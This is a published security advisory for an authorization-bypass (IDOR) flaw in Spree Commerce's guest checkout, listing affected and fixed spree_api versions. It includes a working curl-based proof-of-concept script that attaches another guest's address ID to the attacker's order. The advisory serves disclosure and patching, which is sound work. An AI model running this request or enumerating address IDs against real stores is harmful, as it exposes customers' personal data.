GHSA-87fh-rc96-6fr6

Suggest an improvement
Source
https://github.com/advisories/GHSA-87fh-rc96-6fr6
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-87fh-rc96-6fr6/GHSA-87fh-rc96-6fr6.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-87fh-rc96-6fr6
Aliases
Published
2026-02-05T21:19:30Z
Modified
2026-02-07T00:50:01.060932Z
Severity
  • 7.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
Unauthenticated Spree Commerce users can access all guest addresses
Details

Summary

A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.

Impact

This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).

Unauthenticated users can access all guest addresses (GHSL-2026-027)

The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.

Affected Code Components

  1. Permitted Attributes (<code>core/lib/spree/permitted_attributes.rb:92–96</code>)

    • Allows bill_address_id and ship_address_id as permitted parameters without validation
  2. Checkout Update (<code>core/app/models/spree/order/checkout.rb:241–254</code>)

    • Applies permitted parameters directly to the Order model via update_from_params
  3. Incomplete Ownership Validation (<code>core/app/services/spree/checkout/update.rb:33–48</code>)

    • validate_address_ownership only validates nested attributes structure
    • Does NOT validate plain bill_address_id/ship_address_id fields
  4. Vulnerable Assignment Logic (<code>core/app/models/spree/order/address_book.rb:16–23, 31–38</code>)

Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)

Proof of Concept

Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)

As a guest user: 1. Put one product in the cart and go to checkout. 2. Fill in some address/phone number and continue. 3. Modify this script containing a curl request with current values.

#!/bin/bash

ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.

curl -i -X POST \
  -H "x-csrf-token: ${CSRF_TOKEN}" \
  -H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
  -b "${SESSION_COOKIE}" \
  --data-urlencode "_method=patch" \
  --data-urlencode "authenticity_token=${CSRF_TOKEN}" \
  --data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
  "http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"

Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display. This can be verified by accessing /checkout/${ATTACKER_ORDER_TOKEN}/delivery in the same browser where you created the new guest cart.

Impact

This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).

CWEs

  • CWE-639: Authorization Bypass Through User-Controlled Key
  • CWE-284: Improper Access Control

Credit

This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Database specific
{
    "cwe_ids": [
        "CWE-284",
        "CWE-639"
    ],
    "github_reviewed_at": "2026-02-05T21:19:30Z",
    "nvd_published_at": "2026-02-06T22:16:12Z",
    "severity": "HIGH",
    "github_reviewed": true
}
References

Affected packages

RubyGems / spree_api

Package

Name
spree_api
Purl
pkg:gem/spree_api

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.10.3

Affected versions

0.*
0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.1
4.5.2
4.5.3
4.5.4
4.5.5
4.6.0
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.6.6
4.7.0
4.7.1
4.7.2
4.7.3
4.8.0
4.8.1
4.8.2
4.8.3
4.9.0
4.10.0
4.10.1
4.10.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-87fh-rc96-6fr6/GHSA-87fh-rc96-6fr6.json"

RubyGems / spree_api

Package

Name
spree_api
Purl
pkg:gem/spree_api

Affected ranges

Type
ECOSYSTEM
Events
Introduced
5.0.0
Fixed
5.0.8

Affected versions

5.*
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-87fh-rc96-6fr6/GHSA-87fh-rc96-6fr6.json"

RubyGems / spree_api

Package

Name
spree_api
Purl
pkg:gem/spree_api

Affected ranges

Type
ECOSYSTEM
Events
Introduced
5.1.0
Fixed
5.1.10

Affected versions

5.*
5.1.0
5.1.1
5.1.2
5.1.3
5.1.4
5.1.5
5.1.6
5.1.7
5.1.8
5.1.9

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-87fh-rc96-6fr6/GHSA-87fh-rc96-6fr6.json"

RubyGems / spree_api

Package

Name
spree_api
Purl
pkg:gem/spree_api

Affected ranges

Type
ECOSYSTEM
Events
Introduced
5.2.0
Fixed
5.2.7

Affected versions

5.*
5.2.0
5.2.1
5.2.2
5.2.3
5.2.4
5.2.5
5.2.6

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-87fh-rc96-6fr6/GHSA-87fh-rc96-6fr6.json"

RubyGems / spree_api

Package

Name
spree_api
Purl
pkg:gem/spree_api

Affected ranges

Type
ECOSYSTEM
Events
Introduced
5.3.0
Fixed
5.3.2

Affected versions

5.*
5.3.0
5.3.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-87fh-rc96-6fr6/GHSA-87fh-rc96-6fr6.json"